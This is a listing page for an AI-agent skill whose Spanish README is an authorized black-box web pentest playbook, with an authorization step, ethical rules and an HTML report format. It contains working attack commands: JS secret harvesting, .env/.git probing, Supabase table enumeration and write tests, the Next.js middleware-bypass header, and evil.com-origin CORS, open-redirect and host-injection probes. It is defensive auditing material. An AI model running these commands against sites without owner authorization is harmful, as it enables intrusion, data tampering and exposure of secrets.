mcpField
W
web-security-audit

web-security-audit

github.com/angelapaiaSecurity1449 installsUpdated 29w ago
Repository

About web-security-audit

web-security-audit is an external black-box web security audit skill for testing sites with explicit authorization, following the stated OWASP Top 10 2025 and PTES approaches. It covers multiple web stacks and produces an HTML report in Spanish.

Key features

  1. 01Confirms authorization and testing constraints first
  2. 02Checks security headers, DNS, and site paths
  3. 03Scans JavaScript for exposed secrets
  4. 04Runs stack-specific security checks
  5. 05Produces an HTML report in Spanish

Use cases

  1. 01Auditing security settings on an authorized site
  2. 02Checking frontend assets for exposed keys
  3. 03Investigating Supabase or framework-specific risks

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/angelapaia/web-security-audit-skill --skill web-security-audit

After installing, type/web-security-auditin Claude Code to confirm it loaded.

Details

From the project README

Web Security Audit — Pentest Black-Box Profesional

Auditoria de seguridad web externa basada en OWASP Top 10 2025, PTES, y experiencia real de pentesting en produccion (Frontera, Tripath). Cubre Next.js, React, Vue, WordPress, Django, Rails, Laravel, y cualquier stack web moderno. Genera informe HTML profesional en espanol.

Contexto y por que importa

Las webs modernas tienen superficies de ataque enormes: APIs abiertas, bases de datos con RLS mal configurado, headers de seguridad ausentes, y CVEs en frameworks populares. Un atacante con conocimientos basicos y curl puede explotar estas vulnerabilidades en minutos. Esta skill sistematiza lo que un pentester profesional haria, en un formato reproducible y documentado.

Flujo de ejecucion

Fase 0: Autorizacion (obligatorio)

Antes de cualquier test, confirmar con el usuario:

  1. Tiene autorizacion del propietario para auditar la URL
  2. Restricciones (no crear cuentas, no tocar produccion, etc.)
  3. Idioma del informe (por defecto: espanol)

Si no hay autorizacion explicita, NO proceder.

Fase 1: Reconocimiento

Ejecutar las 4 sub-fases en paralelo con Bash:

1A — Headers de seguridad:

curl -sI "https://TARGET"

Checklist de headers (cada uno faltante es un hallazgo):

HeaderEsperadoSeveridad si falta
Strict-Transport-Securitymax-age>=31536000; includeSubDomainsMedia
Content-Security-PolicyPolitica restrictiva, sin unsafe-inlineAlta
X-Frame-OptionsDENY (SAMEORIGIN = media)Media
X-Content-Type-OptionsnosniffBaja
Referrer-Policystrict-origin-when-cross-origin o mas restrictivoBaja
Permissions-PolicyBloquear camera, microphone, geolocationBaja
X-Powered-ByNO debe estar presenteAlta (info disclosure)
ServerNO debe revelar version exactaBaja

1B — Deteccion de stack:

PAGE=$(curl -s "https://TARGET")
# Detectar frameworks
echo "$PAGE" | grep -oiE '(_next/|__next|nuxt|vue|angular|react|svelte|gatsby|remix|astro|wordpress|wp-content|wp-includes|django|laravel|rails|flask|express)' | sort -u
# Scripts externos (tracking, analytics, APIs)
echo "$PAGE" | grep -oE 'https?://[^"'\''> ]+\.js' | sort -u
# Buscar Supabase, Firebase, Stripe, etc.
echo "$PAGE" | grep -oiE '(supabase|firebase|googleapis|stripe|algolia|sentry|mixpanel|amplitude|segment|intercom|crisp|hubspot)' | sort -u

1C — DNS e infraestructura:

dig TARGET A +short
dig TARGET MX +short
dig TARGET TXT +short
dig TARGET NS +short
# Detectar CDN (Cloudflare, Vercel, etc.)

1D — robots.txt y sitemap:

curl -s "https://TARGET/robots.txt"
curl -s "https://TARGET/sitemap.xml" | head -50
Fase 2: Busqueda de secretos en JavaScript

Los JS bundles client-side a menudo contienen claves de API, URLs de bases de datos y tokens. Es lo primero que mira un atacante.

# Descargar todos los chunks JS
CHUNKS=$(curl -s "https://TARGET" | grep -oE '(src="|href=")[^"]*\.js' | sed 's/src="//;s/href="//' | sort -u)
mkdir -p /tmp/audit_js
for chunk in $CHUNKS; do
  fname=$(basename "$chunk" | head -c 50)
  curl -s "https://TARGET${chunk}" > "/tmp/audit_js/${fname}" 2>&1
done

Patrones a buscar en los archivos descargados:

# Supabase / Firebase keys
grep -rhoiE 'eyJ[A-Za-z0-9_/+-]{30,}' /tmp/audit_js/ | sort -u
grep -rhoiE 'sb_publishable[A-Za-z0-9_-]+' /tmp/audit_js/
grep -rhoiE 'AIza[A-Za-z0-9_-]{35}' /tmp/audit_js/        # Firebase
grep -rhoiE 'sk_live_[A-Za-z0-9]{20,}' /tmp/audit_js/       # Stripe secret
grep -rhoiE 'pk_live_[A-Za-z0-9]{20,}' /tmp/audit_js/       # Stripe public
# URLs internas
grep -rhoiE 'https?://[a-z0-9.-]+\.(supabase\.co|firebaseio\.com|firebaseapp\.com)' /tmp/audit_js/ | sort -u
# Env vars
grep -rhoiE 'NEXT_PUBLIC_[A-Z_]+' /tmp/audit_js/ | sort -u

Si se encuentra un JWT de Supabase, decodificar para obtener el project ref:

echo "JWT_TOKEN" | cut -d. -f2 | python3 -c "import sys,base64,json; p=sys.stdin.read().strip(); p+='='*(-len(p)%4); print(json.dumps(json.loads(base64.urlsafe_b64decode(p)),indent=2))"
Fase 3: Enumeracion de rutas

Usar un script externo para evitar problemas de escaping en shell:

cat > /tmp/audit_routes.sh << 'SCRIPT'
#!/bin/bash
TARGET=$1
for path in /admin /login /register /signup /api /api/auth /api/auth/callback /api/users /api/admin /api/admin/users /api/rooms /api/bookings /api/payments /api/webhooks /api/stripe /api/contact /api/newsletter /dashboard /panel /perfil /profile /account /settings /checkout /booking /reserva /mis-reservas /.env /.env.local /.env.production /.git/config /.git/HEAD /graphql /swagger /api-docs /health /status /_next/data /debug /info /wp-admin /wp-login.php /wp-json /xmlrpc.php /phpmyadmin /adminer /server-status /server-info; do
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://${TARGET}${path}")
  if [ "$code" != "404" ] && [ "$code" != "000" ]; then
    echo "  ${path} -> HTTP ${code}"
  fi
done
SCRIPT
chmod +x /tmp/audit_routes.sh
bash /tmp/audit_routes.sh "TARGET"

Clasificar resultados:

  • Rutas que deberian requerir auth y devuelven 200 = ALTO
  • Rutas admin accesibles = CRITICO
  • .env, .git accesibles = CRITICO
  • API endpoints accesibles sin auth = ALTO
Fase 4: Supabase Deep Audit

Solo ejecutar si se detecto Supabase en Fase 2. Definir variables:

SUPA_URL="https://PROJECT_REF.supabase.co"  # o custom domain
ANON_KEY="eyJ..."  # del JS

4.1 — Enumeracion de tablas con hints de error:

for tbl in users profiles public_users community_profiles rooms listings bookings reservations payments transactions properties apartments tenants landlords owners contracts messages chats notifications reviews verifications documents invoices blog_posts leads contacts waitlist settings admins; do
  result=$(curl -s "${SUPA_URL}/rest/v1/${tbl}?limit=1" \
    -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}")
  if echo "$result" | grep -q "PGRST"; then
    hint=$(echo "$result" | grep -oE '"hint":"[^"]*"' | head -1)
    [ -n "$hint" ] && echo "  ${tbl}: NO EXISTE ${hint}"
  elif echo "$result" | grep -q "permission denied\|row-level security"; then
    echo "  ${tbl}: PROTEGIDA (RLS activo) ✓"
  elif echo "$result" | grep -q "restricted"; then
    echo "  ${tbl}: PROYECTO SUSPENDIDO/RESTRINGIDO"
  elif [ "$result" = "[]" ]; then
    echo "  ${tbl}: ACCESIBLE (vacia)"
  else
    echo "  ${tbl}: *** ACCESIBLE CON DATOS *** — $(echo "$result" | wc -c) bytes"
  fi
done

4.2 — Para cada tabla accesible, contar registros:

curl -s "${SUPA_URL}/rest/v1/TABLE?select=id" \
  -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Prefer: count=exact" -H "Range: 0-0" -I | grep -i content-range

4.3 — Test de escritura (INSERT/UPDATE/DELETE):

# INSERT — usar datos dummy
curl -s -X POST "${SUPA_URL}/rest/v1/TABLE" \
  -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Content-Type: application/json" -H "Prefer: return=minimal" \
  -d '{"test_field":"SECURITY_AUDIT_TEST"}'
# Si funciona = CRITICO. Intentar DELETE inmediato para limpiar.

# UPDATE — cambiar campo de un registro conocido
curl -s -X PATCH "${SUPA_URL}/rest/v1/TABLE?id=eq.KNOWN_ID" \
  -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Content-Type: application/json" -d '{"field":"AUDIT_TEST"}'
# Si funciona = CRITICO. REVERTIR inmediatamente.

4.4 — Auth config publica:

curl -s "${SUPA_URL}/auth/v1/settings" -H "apikey: ${ANON_KEY}"

Verificar:

  • disable_signup: false + plataforma cerrada = ALTO (signup abierto no intencionado)
  • mailer_autoconfirm: true = ALTO (cuentas sin verificacion email)
  • OAuth providers inesperados = MEDIO

4.5 — Test de signup abierto:

curl -s -X POST "${SUPA_URL}/auth/v1/signup" \
  -H "apikey: ${ANON_KEY}" -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"AuditTest2026!"}'

Si devuelve user object con UUID = ALTO (cualquiera puede crear cuenta)

4.6 — Storage buckets:

curl -s "${SUPA_URL}/storage/v1/bucket" -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}"
# Para cada bucket encontrado, intentar listar archivos:
curl -s "${SUPA_URL}/storage/v1/object/list/BUCKET_NAME" \
  -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Content-Type: application/json" -d '{"prefix":"","limit":20}'

4.7 — RPC functions:

for fn in get_users get_all_users admin_get_users export_users get_user_emails list_users get_members get_subscribers get_leaderboard get_user_tier; do
  result=$(curl -s -X POST "${SUPA_URL}/rest/v1/rpc/${fn}" \
    -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
    -H "Content-Type: application/json" -d '{}')
  echo "  rpc/${fn}: $(echo "$result" | head -c 150)"
done
Fase 5: Next.js Specific

Solo si se detecto Next.js.

5.1 — Middleware Bypass CVE-2025-29927 (CRITICO, CVSS 9.1):

# Comparar respuesta normal vs con header de bypass
NORMAL=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET/admin")
BYPASS=$(curl -s -o /dev/null -w "%{http_code}" -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" "https://TARGET/admin")
echo "Normal: $NORMAL | Bypass: $BYPASS"
# Si NORMAL=307/401 pero BYPASS=200 → CRITICO (CVE confirmada)
# Si ambos son 200 → la ruta no tiene middleware (problema diferente)

Probar variantes: middleware, src/middleware, pages/_middleware

5.2 — RSC Data Leakage:

RSC=$(curl -s "https://TARGET" -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%5D")
# Buscar datos sensibles en el payload
echo "$RSC" | grep -oiE '(email|password|secret|token|apikey|phone|dni|iban|credit|ssn)' | sort -u
# Probar en rutas protegidas tambien:
curl -s "https://TARGET/dashboard" -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22dashboard%22%2C%7B%7D%5D%7D%5D"

5.3 — Server Actions:

curl -s -X POST "https://TARGET" -H "Next-Action: 0000000000" -H "Content-Type: text/plain" -d '[]'
# "Server action not found" = endpoint existe (info disclosure menor)

5.4 — Source Maps:

for chunk in $(curl -s "https://TARGET" | grep -oE '/_next/static/chunks/[^"]+\.js' | sort -u); do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${chunk}.map")
  [ "$code" = "200" ] && echo "  SOURCE MAP EXPUESTO: ${chunk}.map"
done

Source map accesible = MEDIA (expone codigo fuente original)

Fase 6: WordPress Specific

Solo si se detecto WordPress.

# Version de WP
curl -s "https://TARGET" | grep -oE 'content="WordPress [0-9.]+"'
curl -s "https://TARGET/wp-json/" | head -c 200
# xmlrpc activo (bruteforce vector)
curl -s -X POST "https://TARGET/xmlrpc.php" -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
# Users enumeration
curl -s "https://TARGET/wp-json/wp/v2/users"
curl -s "https://TARGET/?author=1" -o /dev/null -w "%{redirect_url}"
# Login bruteforce protection
curl -s -X POST "https://TARGET/wp-login.php" -d "log=admin&pwd=wrongpass"
Fase 7: CORS
# Reflected origin (CRITICO si refleja con credentials)
curl -sI "https://TARGET" -H "Origin: https://evil-attacker.com" | grep -i "access-control"
# Null origin (exploitable via sandboxed iframe)
curl -sI "https://TARGET" -H "Origin: null" | grep -i "access-control"
# Subdomain wildcard
curl -sI "https://TARGET" -H "Origin: https://anything.TARGET" | grep -i "access-control"
# Prefix/suffix bypass
curl -sI "https://TARGET" -H "Origin: https://TARGET.evil.com" | grep -i "access-control"

Si hay API (Supabase, etc.), probar CORS en esos endpoints tambien:

  • access-control-allow-origin: * en API = ALTO
  • Origin reflejado + Access-Control-Allow-Credentials: true = CRITICO
Fase 8: Auth y Sesiones
# Cookies
curl -sI "https://TARGET" | grep -i "set-cookie"
# Cada cookie debe tener: Secure, HttpOnly, SameSite=Strict|Lax

# Open redirect
for param in redirect url next return_to redirect_uri callback goto dest; do
  loc=$(curl -s -o /dev/null -w "%{redirect_url}" "https://TARGET/login?${param}=https://evil.com")
  [ -n "$loc" ] && echo "OPEN REDIRECT: ${param} -> ${loc}"
done

# Password reset host injection
curl -s -X POST "https://TARGET/api/auth/reset-password" \
  -H "Host: evil.com" -H "Content-Type: application/json" \
  -d '{"email":"[email protected]"}'
Fase 9: HTTP Methods y Error Handling
# Metodos HTTP peligrosos
for method in OPTIONS TRACE PUT DELETE PATCH; do
  code=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "https://TARGET/")
  echo "  ${method}: HTTP ${code}"
done
# TRACE 200 = MEDIO, PUT/DELETE 200 inesperado = ALTO

# Error handling — provocar errores y buscar info leaks
curl -s "https://TARGET/api/users/undefined"
curl -s -X POST "https://TARGET/api/contact" -H "Content-Type: application/json" -d '{"invalid":'
# Stack traces, paths internos, versiones = MEDIO
Fase 10: Rate Limiting
# Test basico — 20 peticiones rapidas
for i in $(seq 1 20); do
  curl -s -o /dev/null -w "%{http_code} " "https://TARGET/"
done
echo ""
# Si todos 200 = sin rate limiting = ALTO

# Bypass via X-Forwarded-For
for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{http_code} " -H "X-Forwarded-For: 10.0.0.${i}" "https://TARGET/api/users"
done
Fase 11: Cloudflare/CDN Bypass

Solo si se detecto Cloudflare u otro CDN.

# Buscar IP real via registros MX
dig MX TARGET +short
# Subdominios no proxied
for sub in mail ftp cpanel direct api staging dev test; do
  ip=$(dig +short ${sub}.TARGET 2>/dev/null)
  [ -n "$ip" ] && echo "  ${sub}.TARGET: ${ip}"
done
# Certificate Transparency logs
curl -s "https://crt.sh/?q=%25.TARGET&output=json" | python3 -c "import sys,json; [print(x['name_value']) for x in json.load(sys.stdin)]" 2>/dev/null | sort -u
Fase 12: Archivos sensibles
cat > /tmp/audit_files.sh << 'SCRIPT'
#!/bin/bash
TARGET=$1
for path in .env .env.local .env.production .env.development .git/config .git/HEAD .DS_Store wp-config.php server-status server-info debug info package.json composer.json Dockerfile docker-compose.yml .dockerignore backup.sql dump.sql database.sql db.sql; do
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://${TARGET}/${path}")
  if [ "$code" != "404" ] && [ "$code" != "000" ]; then
    echo "  ${path}: HTTP ${code}"
  fi
done
SCRIPT
bash /tmp/audit_files.sh "TARGET"

Generacion del informe HTML

Al completar todas las fases, generar un archivo HTML con este formato. El HTML debe usar CSS puro sin JavaScript (compatible WhatsApp/Telegram) y dark theme.

Estructura del informe:
  1. Header — Fecha, objetivo (URL), gravedad general, nombre del auditor
  2. Score cards — 4 tarjetas: criticas, altas, medias, OK (con contadores)
  3. Resumen ejecutivo — 2-3 frases en lenguaje NO tecnico, con fondo rojo degradado
  4. Analogia — Bloque azul explicando los hallazgos como si la web fuera un edificio, hotel, etc. Adaptar la analogia al tipo de negocio
  5. Info tecnica — Tabla con stack, dominio, DB, CDN, claves encontradas
  6. Vulnerabilidades criticas — Cards con borde rojo (#ff4444), cada una con: titulo descriptivo, descripcion en lenguaje sencillo, prueba de concepto en bloque <pre>, fix recomendado
  7. Vulnerabilidades altas — Cards con borde naranja (#ff8c00), misma estructura
  8. Vulnerabilidades medias — Cards con borde amarillo (#f5a623)
  9. Lo que esta bien — Tabla con fondo verde (#00c853) para items que pasan
  10. Resultados del pentest — Tabla resumen: ataque | resultado | gravedad (badges)
  11. Comandos de reproduccion — Bloques desplegables <details><summary>
  12. Plan de accion — Timeline con dots de color: rojo=ahora, naranja=hoy, amarillo=esta semana, gris=antes de lanzar
  13. Implicaciones legales — RGPD, LOPD, ePrivacy si aplica. Adaptar al pais del target
  14. Footer — "CONFIDENCIAL", auditor, fecha
Estilos CSS base:
  • Fondo: #0a0a0a, texto: #e0e0e0
  • Critico: #ff4444, Alto: #ff8c00, Medio: #f5a623, OK: #00c853
  • Code/pre: font SF Mono, Fira Code, monospace, fondo #1a1a1a
  • Max-width: 900px, responsive para movil
  • Badges con border-radius 20px y colores segun severidad
Guardar en:
  • Si hay proyecto de cliente: ~/Desktop/Empresa/SolutechIA/clientes/[CLIENTE]/
  • Si no: directorio actual del usuario
  • Nombre: auditoria-seguridad-[dominio]-[YYYY-MM-DD].html

Tabla de severidades

HallazgoSeveridad
BBDD abierta sin auth (RLS desactivado)CRITICA
Modificacion/borrado de datos de otros usuariosCRITICA
Contenido de pago accesible publicamenteCRITICA
Middleware bypass (CVE-2025-29927)CRITICA
Service role key expuesta en JavaScriptCRITICA
SQL injection confirmadaCRITICA
.env o .git accesible publicamenteCRITICA
Signup abierto no intencionadoALTA
Rutas protegidas accesibles sin auth (/admin, /dashboard)ALTA
Sin Content-Security-PolicyALTA
Sin rate limitingALTA
CORS reflected origin + credentialsALTA
x-powered-by / Server version expuestosALTA
Auth config publica (settings endpoint)ALTA
xmlrpc.php activo (WordPress)ALTA
WP users enumeration via REST APIALTA
CORS wildcard sin credentialsMEDIA
X-Frame-Options SAMEORIGIN en vez de DENYMEDIA
Tracking (Facebook Pixel, etc.) sin consentimiento cookiesMEDIA
Storage buckets publicos con archivos listablesMEDIA
Source maps expuestos (.js.map accesible)MEDIA
Error handling revela info interna (stack traces)MEDIA
Sin HSTSMEDIA
Server Action endpoint descubiertoMEDIA
PUT/DELETE devuelven 200 en rutas inesperadasMEDIA
Header Server revela version exactaBAJA
Imagenes placeholder de servicios externosBAJA

Reglas eticas de la auditoria

Estas reglas existen porque una auditoria de seguridad tiene el poder de causar dano real si se hace de forma irresponsable. Seguirlas protege tanto al auditor como al propietario del sitio.

  1. Solo prueba de concepto minima — no explotar vulnerabilidades mas alla de confirmar que existen
  2. Revertir inmediatamente cualquier modificacion hecha durante la auditoria (si un UPDATE funciona, restaurar el valor original)
  3. No crear cuentas reales — usar emails @nonexistent-domain.invalid
  4. No exfiltrar ni almacenar datos personales reales de usuarios
  5. No realizar denial of service ni tests de carga agresivos
  6. Documentar cada paso para que sea reproducible
  7. Informar al propietario inmediatamente si se encuentra algo critico
  8. El informe es CONFIDENCIAL y solo para el propietario autorizado
  9. Limpiar archivos temporales al finalizar: rm -rf /tmp/audit_*

Comments

Markdown supported